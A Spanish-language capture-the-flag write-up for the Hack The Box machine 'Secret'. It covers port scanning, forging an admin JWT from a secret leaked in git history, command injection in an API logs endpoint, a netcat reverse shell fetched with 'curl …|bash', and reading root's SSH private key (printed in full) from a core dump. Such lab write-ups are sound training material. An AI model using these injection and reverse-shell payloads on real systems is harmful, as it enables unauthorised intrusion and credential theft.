Secret
Skills
- Code Analysis
- Abusing an API
- Command Injection
- Json Web Tokens (JWT)
- Abusing/Leveraging Core Dump [Privilege Escalation]
Certificaciones
- eWPT
- eWPTXv2
- OSWE
Descripción
Secret
es una máquina easy linux
donde estaremos vulnerando la máquina a través de su api
, listaremos sus endpointsendpoints
y los explotaremos convirtiéndonos en usuario administrador
crando un JWT
gracias al secret
obtenido en los commits
del proyecto
de github
. Obtenemos acceso a la máquina víctima mediante un command injection
. Una vez dentro escalaremos privilegios gracias a un binario SUID
el cual aprovecharemos para obtener la id_rsa
del usuario root
Reconocimiento
Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas linux
suele ser 64
, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad
1
2
3
4
5
6
7
# ping 10.129.245.85
PING 10.129.245.85 (10.129.245.85) 56(84) bytes of data.
64 bytes from 10.129.245.85: icmp_seq=1 ttl=63 time=38.4 ms
^C
--- 10.129.245.85 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 38.441/38.441/38.441/0.000 ms
Nmap
Se va a realizar un escaneo de todos los puertos
abiertos en el protocolo TCP
a través de nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -v 10.129.245.85 -oG openPorts
[sudo] password for justice-reaper:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-23 23:28 CEST
Initiating SYN Stealth Scan at 23:28
Scanning 10.129.245.85 [65535 ports]
Discovered open port 22/tcp on 10.129.245.85
Discovered open port 80/tcp on 10.129.245.85
Discovered open port 3000/tcp on 10.129.245.85
Completed SYN Stealth Scan at 23:28, 10.93s elapsed (65535 total ports)
Nmap scan report for 10.129.245.85
Host is up (0.062s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.03 seconds
Raw packets sent: 65535 (2.884MB) | Rcvd: 65535 (2.621MB)
Se procede a realizar un análisis de detección
de servicios
y la identificación
de versiones
utilizando los puertos abiertos encontrados
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# nmap -sCV -p 22,80,3000 10.129.245.85 -oN services
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-23 23:34 CEST
Nmap scan report for 10.129.245.85
Host is up (0.058s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.73 seconds
Web Enumeration
Nos dirigimos a la página web y se visualiza lo siguiente:
Lo que más me llama la atención la parte de descargar el proyecto, vamos a usar grep para buscar datos interesantes. Con grep -r -i 'DB_.*=' .
buscamos información
acerca de la base de datos
, recordad que el proyecto debe estar descomprimido y este comando debe ser ejecutado dentro del proyecto descargado. Se debe seleccionar manualmente la información que sea de nuestro interés y almacenarla
1
2
3
4
5
# grep -r -i 'DB_.*=' .
./node_modules/dotenv/README.md:DB_HOST=localhost
./node_modules/dotenv/README.md:DB_USER=root
./node_modules/dotenv/README.md:DB_PASS=s1mpl3
./.env:DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
Para buscar usuarios usamos el comando grep -r -i 'username:' .
1
2
3
./routes/private.js: username:"theadmin",
./node_modules/axios/README.md: username: 'mikeymike',
./node_modules/axios/README.md: username: 'janedoe',
Para buscar usuarios usamos el comando grep -r -i 'password:' .
1
2
./node_modules/axios/README.md: password: 's00pers3cret'
./node_modules/axios/README.md: password: 'rapunz3l'
El proyecto tiene un archivo .env
el cual tiene un TOKEN_SECRET
1
TOKEN_SECRET = secret
Una vez recopilada esta información acerca del proyecto vamos a seguir enumerando la web. Lo siguiente más llamativo es la opción de registrar
un usuario
a través de la api
Al intentar registrarnos con los datos de ejemplo nos dice que el usuario
ya existe
, tenemos que tener esto en cuanto para el futuro
1
2
# curl -X POST http://10.129.245.85:3000/api/user/register -H 'Content-Type: application/json' -d '{"name": "dasith","email": "root@dasith.works","password": "Kekc8swFgD6zU"}'
Email already Exist
Ya hemos creado
nuestro usuario
1
2
# curl -X POST http://10.129.245.85:3000/api/user/register -H 'Content-Type: application/json' -d '{"name": "justice-reaper","email": "justice-reaper@gmail.com","password": "justice"}'
{"user":"justice-reaper"}
Lo siguiente que vamos a hacer es intentar loguearnos
Al loguearnos nos ha devuelto con JWT
1
2
# curl -X POST http://10.129.245.85:3000/api/user/login -H 'Content-Type: application/json' -d '{"email": "justice-reaper@gmail.com","password": "justice"}'
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2Njc4OWUxYTI0NjVhNTA0NzljYTFjMzUiLCJuYW1lIjoianVzdGljZS1yZWFwZXIiLCJlbWFpbCI6Imp1c3RpY2UtcmVhcGVyQGdtYWlsLmNvbSIsImlhdCI6MTcxOTE4MDkxMH0.isMMgFKE-WjSlvGJ4LBFnciU8U4SZqDHfG7NFCXDwS8
Comprobamos que tipo de usuario somos
1
2
# curl -s http://10.129.245.85:3000/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2Njc4OWUxYTI0NjVhNTA0NzljYTFjMzUiLCJuYW1lIjoianVzdGljZS1yZWFwZXIiLCJlbWFpbCI6Imp1c3RpY2UtcmVhcGVyQGdtYWlsLmNvbSIsImlhdCI6MTcxOTE4MDkxMH0.isMMgFKE-WjSlvGJ4LBFnciU8U4SZqDHfG7NFCXDwS8 '
{"role":{"role":"you are normal user","desc":"justice-reaper"}}
Como tenemos el TOKEN_SECRET
que hemos obtenido inspeccionando el código fuente, podemos intentar crear
un JWT
mediante el cual seamos administradores. En el echando un vistazo al archivo, encontramos esto, por lo tanto vamos a intentar cambiar el nombre de nuestro usuario a theadmin
Hemos intentado crear un nuevo JWT
con el TOKEN_SECRET = secret
, sin embargo parece que ese no es el secreto y como response
obtenemos Invalid Token
, echándole de nuevo un vistazo al proyecto descargado, nos damos cuenta de que es un proyecto
de github
1
2
# ls -a
. .. .git model node_modules public routes src .env index.js package-lock.json package.json validations.js
Por lo tanto podemos mirar si hay commits
, el que más me llama la atención es el segundo commit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# git log
commit e297a2797a5f62b6011654cf6fb6ccb6712d2d5b (HEAD -> master)
Author: dasithsv <dasithsv@gmail.com>
Date: Thu Sep 9 00:03:27 2021 +0530
now we can view logs from server 😃
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:30:17 2021 +0530
removed .env for security reasons
commit de0a46b5107a2f4d26e348303e76d85ae4870934
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:29:19 2021 +0530
added /downloads
commit 4e5547295cfe456d8ca7005cb823e1101fd1f9cb
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:27:35 2021 +0530
removed swap
commit 3a367e735ee76569664bf7754eaaade7c735d702
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:26:39 2021 +0530
added downloads
commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:25:52 2021 +0530
first commit
Al ver los cambios del commit vemos el verdadero TOKEN_SECRET
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# git show 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:30:17 2021 +0530
removed .env for security reasons
diff --git a/.env b/.env
index fb6f587..31db370 100644
--- a/.env
+++ b/.env
@@ -1,2 +1,2 @@
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
-TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
+TOKEN_SECRET = secret
Api Exploitation
Ahora que tenemos el TOKEN_SECRET
podemos generar un JWT
válido en https://jwt.io/
Al enviar una petición http://10.129.246.38:3000/api/priv
comprobamos que somos
usuarios administradores
1
2
# curl http://10.129.246.38:3000/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NjdhYjMyYjU3YmZiNzA0N2EzZTJmZDAiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFzZGZAdGVzdC5jb20iLCJpYXQiOjE3MTkzNDAzMjB9.L5KCGvWNkVLN7BEUPAUczQTGYP-xDoXGOMzsbovgt_k'
{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}
Ahora que somos administradores fuzzeamos
en busca de nuevas rutas y encontramos la ruta logs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# wfuzz -c -t 200 --hh 93 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.129.246.38:3000/api/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.246.38:3000/api/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000004146: 401 0 L 2 W 13 Ch "priv"
000002271: 401 0 L 2 W 13 Ch "logs"
Al hacer una petición a http://10.129.246.38:3000/api/logs
nos devuelve esta repuesta
1
2
# curl http://10.129.246.38:3000/api/logs -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NjdhYjMyYjU3YmZiNzA0N2EzZTJmZDAiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFzZGZAdGVzdC5jb20iLCJpYXQiOjE3MTkzNDAzMjB9.L5KCGvWNkVLN7BEUPAUczQTGYP-xDoXGOMzsbovgt_k'
{"killed":false,"code":128,"signal":null,"cmd":"git log --oneline undefined"}
Si vemos el código del archivo ./local-web/routes/private.js
, vemos como funciona internamente las peticiones al endpoint /logs, podríamos haber evitado la fuerza bruta leyendo el código más detenidamente
Cuando nosotros usamos este comando en el proyecto, nos devuelve todos
los commits
1
2
3
4
5
6
7
# git log --oneline
e297a27 (HEAD -> master) now we can view logs from server 😃
67d8da7 removed .env for security reasons
de0a46b added /downloads
4e55472 removed swap
3a367e7 added downloads
55fe756 first commit
Sin embargo si usamos este comando, nos devuelve el commit introducido
y todos los anteriores
1
2
3
# git log --oneline 3a367e7
3a367e7 added downloads
55fe756 first commit
Por lo tanto viendo esto, la forma correcta de realizar la petición sería esta. Al no estar indicando ningún commit específico nos muestra todos
los existentes
1
2
3
4
5
# curl -s 'http://10.129.246.38:3000/api/logs?file=' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NjdhYjMyYjU3YmZiNzA0N2EzZTJmZDAiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFzZGZAdGVzdC5jb20iLCJpYXQiOjE3MTkzNDAzMjB9.L5KCGvWNkVLN7BEUPAUczQTGYP-xDoXGOMzsbovgt_k' | jq -r
80bf34c fixed typos 🎉
0c75212 now we can view logs from server 😃
ab3e953 Added the codes
Debido a la forma en la que está programado el código podemos inyectar
un comando
1
2
3
4
5
# curl -s 'http://10.129.246.38:3000/api/logs?file=;whoami' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NjdhYjMyYjU3YmZiNzA0N2EzZTJmZDAiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFzZGZAdGVzdC5jb20iLCJpYXQiOjE3MTkzNDAzMjB9.L5KCGvWNkVLN7BEUPAUczQTGYP-xDoXGOMzsbovgt_k' | jq -r
80bf34c fixed typos 🎉
0c75212 now we can view logs from server 😃
ab3e953 Added the codes
dasith
Intrusión
Vamos a mandarnos una reverse shell
a nuestro equipo, lo primero que debemos hacer es ver si podemos recibir trazas icmp
1
# curl -s 'http://10.129.246.38:3000/api/logs?file=;ping%2010.10.16.6' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NjdhYjMyYjU3YmZiNzA0N2EzZTJmZDAiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFzZGZAdGVzdC5jb20iLCJpYXQiOjE3MTkzNDAzMjB9.L5KCGvWNkVLN7BEUPAUczQTGYP-xDoXGOMzsbovgt_k' | jq -r
1
2
3
4
5
# sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
00:31:09.921313 IP 10.129.246.38 > 10.10.16.6: ICMP echo request, id 1, seq 1, length 64
00:31:09.921341 IP 10.10.16.6 > 10.129.246.38: ICMP echo reply, id 1, seq 1, length 64
Una vez confirmado, procedemos a conectarnos
a la máquina víctima
, lo primero que debemos hacer es crearnos
un archivo
llamado cmd
en nuestro directorio de trabajo y ponernos en escucha
en python
por el puerto 80
. El archivo cmd debe contener instrucciones para enviarnos una conexión
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.6 443 >/tmp/f
1
# python -m http.server 80
Lo siguiente que debemos hacer es mandarle esta petición a la máquina víctima y ponerlos en escucha con netcat por el puerto 443
1
# curl -s 'http://10.129.246.38:3000/api/logs?file=;curl%20http://10.10.16.6/cmd|bash' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NjdhYjMyYjU3YmZiNzA0N2EzZTJmZDAiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImFzZGZAdGVzdC5jb20iLCJpYXQiOjE3MTkzNDAzMjB9.L5KCGvWNkVLN7BEUPAUczQTGYP-xDoXGOMzsbovgt_k' | jq -r
1
# nc -nlvp 443
Obtenemos las dimensiones
de nuestra pantalla
1
2
# stty size
45 183
Efectuamos el tratamiento
a la TTY
1
2
3
4
5
6
7
8
9
10
11
12
13
# script /dev/null -c bash
[ENTER]
[CTRL + Z]
# stty raw -echo; fg
[ENTER]
# reset xterm
[ENTER]
# export TERM=xterm
[ENTER]
# export SHELL=bash
[ENTER]
# stty rows 45 columns 183
[ENTER]
Privilege Escalation
Buscando archivos con permisos SUID
el que más me llama la atención es /opt/count
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# find / -perm -4000 2>/dev/null
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/opt/count
Analizando el código de count.c
, observamos que la generación de coredumps
está activada
Por lo tanto al abortar
el proceso
estamos generando un coredump
el cual está en /var/crash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
dasith@secret:/opt$ ./count
Enter source file/directory name: /etc/passwd
Total characters = 1881
Total words = 51
Total lines = 36
Save results a file? [y/N]: y
Path: ^Z
[1]+ Stopped ./count
dasith@secret:/opt$ ps
PID TTY TIME CMD
1237 pts/0 00:00:00 sh
1238 pts/0 00:00:00 bash
1373 pts/0 00:00:00 count
1374 pts/0 00:00:00 ps
dasith@secret:/opt$ kill -ABRT 1373
dasith@secret:/opt$ fg
./count
Aborted (core dumped)
Vamos a obtener la id_rsa
del usuario root
mediante este método
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
dasith@secret:/opt$ ./count
Enter source file/directory name: /root/.ssh/id_rsa
Total characters = 2602
Total words = 45
Total lines = 39
Save results a file? [y/N]: ^Z
[1]+ Stopped ./count
dasith@secret:/opt$ ps
PID TTY TIME CMD
1237 pts/0 00:00:00 sh
1238 pts/0 00:00:00 bash
1576 pts/0 00:00:00 count
1577 pts/0 00:00:00 ps
dasith@secret:/opt$ kill -ABRT 1576
dasith@secret:/opt$ fg
./count
Aborted (core dumped)
1
2
3
4
5
6
dasith@secret:/opt$ apport-unpack /var/crash/_opt_count.1000.crash /tmp/id_rsa
dasith@secret:/opt$ cd /tmp/id_rsa/
dasith@secret:/tmp/id_rsa$ ls
Architecture CrashCounter DistroRelease ExecutableTimestamp ProcCmdline ProcEnviron ProcStatus Uname
CoreDump Date ExecutablePath ProblemType ProcCwd ProcMaps Signal UserGroups
dasith@secret:/tmp/id_rsa$ strings CoreDump
Dentro del archivo CoreDump
se encuentra la id_rsa
del usuario root
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
Una vez obtenida la id_rsa
del usuario root
nos conectamos
por ssh
a la máquina víctima
como el usuario root
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# ssh -i id_rsa root@10.129.245.245
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-89-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed 26 Jun 2024 09:20:23 AM UTC
System load: 0.0
Usage of /: 52.7% of 8.79GB
Memory usage: 17%
Swap usage: 0%
Processes: 222
Users logged in: 0
IPv4 address for eth0: 10.129.245.245
IPv6 address for eth0: dead:beef::250:56ff:fe94:961d
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Oct 26 16:35:01 2021 from 10.10.14.6
root@secret:~# whoami
root